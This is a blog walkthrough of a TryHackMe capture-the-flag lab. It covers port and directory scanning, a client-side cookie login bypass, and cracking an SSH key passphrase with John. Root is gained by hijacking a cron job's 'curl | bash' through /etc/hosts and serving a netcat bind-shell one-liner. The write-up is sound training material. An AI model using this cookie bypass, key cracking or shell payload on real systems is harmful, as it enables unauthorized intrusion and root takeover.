Photo by Kaur Kristjan / Unsplash

This TryHackme capture the flag was an interesting one.  The tag-line for the Room was...

What happens when some broke CompSci students make a password manager?

The answer to that question is, you get your server hacked.

To begin with, I did the usual scanning for open ports and hidden directories.  I've gotten into the habit of just running a directory search at the same time as the port scan is running.  This saves me waiting until it's done to see if port 80 is open or not.  If the scanning starts,  I know there's a webserver running.

Port Scanning and Directories

The results of the nmap scan showed that only a web server on port 80 and SSH on port 22 was running.

┌──(gareth㉿SRF239-L)-[~/Desktop]
└─$ nmap -sV 10.10.121.51
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-01 21:30 CET
Nmap scan report for 10.10.121.51
Host is up (0.047s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The gobuster directory scan showed the following interesting results.

┌──(gareth㉿SRF239-L)-[/mnt/c/Users/gaoa.SRFOSL]
└─$ gobuster dir -u http://10.10.121.51 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.121.51
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/01/01 21:30:50 Starting gobuster
===============================================================
/aboutus (Status: 301)
/admin (Status: 301)
/css (Status: 301)
/downloads (Status: 301)
/img (Status: 301)
/index.html (Status: 301)
===============================================================
2021/01/01 21:31:08 Finished
===============================================================

I headed over to the /admin page and was presented with a username and password box. Before attempting to brute-force the login, I decided to look at the source code for the website.

There was a login.js file which caught my attention.  Upon reading the file, which was neither minified nor obfuscated, I saw the following snippet of code, which seemed too good to be true...

if (statusOrCookie === "Incorrect credentials") {
    loginStatus.textContent = "Incorrect Credentials"
    passwordBox.value=""
} else {
    Cookies.set("SessionToken", statusOrCookie)
    window.location = "/admin"
}

This suggests that it will only deny you access to the admin page if there's a cookie set on your machine called "SessionToken" and its value is "Incorrect credentials".

I ran the following code in the browser's developer tools console tab (F12 to open Developer Tools) to set my cookie value to something other than "Incorrect credentials".

Cookies.set("SessionToken", "whateveryouwant")

To my shock, the admin page loaded up and I was now "logged in".  My shock was increased when on the admin page I saw a message, containing what looked like an ssh private key belonging to someone called James.

Logging into the server via SSH

I copied this text to my clipboard and created a key file on my local desktop

┌──(gareth㉿SRF239-L)-[~/Desktop/Files]
└─$ touch james_rsa
┌──(gareth㉿SRF239-L)-[~/Desktop/Files]
└─$ vim james_rsa
┌──(gareth㉿SRF239-L)-[~/Desktop/Files]
└─$ chmod 600 james_rsa
┌──(gareth㉿SRF239-L)-[~/Desktop/Files]
└─$ ssh -i james_rsa james@10.10.121.51

Cracking the SSH Password

Unfortunately, the key file was password-protected, so it was time to break out John again to get the password cracked.  I've encountered this situation before, so I knew I had to convert the file into a format that John could understand, before attempting to crack the password.

┌──(gareth㉿SRF239-L)-[~/Desktop/Files]
└─$ /usr/share/john/ssh2john.py james_rsa > james_for_john
┌──(gareth㉿SRF239-L)-[~/Desktop/Files]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt james_for_john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
<the-real-password-was-here>          (james_rsa)

Capturing the User flag

So now that I had the password for the SSH key I was able to log in as James via ssh and provide the password when prompted to add the key.

The user.txt file was located in the home directory.

james@overpass-prod:~$ ls
todo.txt  user.txt
james@overpass-prod:~$ cat user.txt
thm{not_the_actual_flag}

The contents of the todo.txt file made mention of an automated build script so I suspected there may be some cron job running that might be interesting.

Privilege Escalation

The path to privilege escalation on this server was an interesting one.  After watching some videos on YouTube from John Hammond, I had the mantra "enumeration, enumeration, enumeration" playing in the back of my head, so I decided to download and run the linpeas.sh enumeration script on the server.

Enumeration Results

This showed a lot of interesting information, but what stood out to me, was that the /etc/hosts file was writable by my user.  This allows you to resolve any hostname to an IP of your choosing before the computer tries to fetch it from a DNS server.  

Similar to how the C:\Windows\System32\drivers\etc\hosts file works on Windows.

The other interesting thing I found, was that there was a command being called as part of a cron job, which downloads a bash script and pipes the contents into bash, without any form of validation.

james@overpass-prod:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

I noticed that this curl command was being executed as the root user, so this was surely the way in.

Setting up the Exploit

Armed with the knowledge that I could alter the IP address domains are resolved to on this server, I edited the /etc/hosts file to make the overpass.thm domain, resolve to my own IP address.

I then created a buildscript.sh file of my own, which contained the following.

mkfifo /tmp/f; nc -lvnp 4444 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

This essentially creates what's known as a bind shell on the machine, which I can then connect to from my machine using netcat.

I then waited and observed my HTTP server logs to see if the file had been accessed.

I did not have to wait long.

Capturing the root.txt Flag

this was fun...

Now I knew that the script had been accessed and the process was running, I could use netcat from my machine and bind to the shell running as root on the server.

The root flag was located in the home directory.

Review

This was a fun room and I liked the fact that the initial way into the server was a bit different than some of the other boxes I've done lately.  Most of them have involved some form of brute-forcing or CVE related exploit.  It was good to have to look at the code and find a way in for myself for a change.

The privilege escalation this time was a bit more involved as well, and not simply a case of abusing a binary that has the SUID permission set.

I look forward to attempting more boxes like this and maybe trying out a box of a higher difficulty level.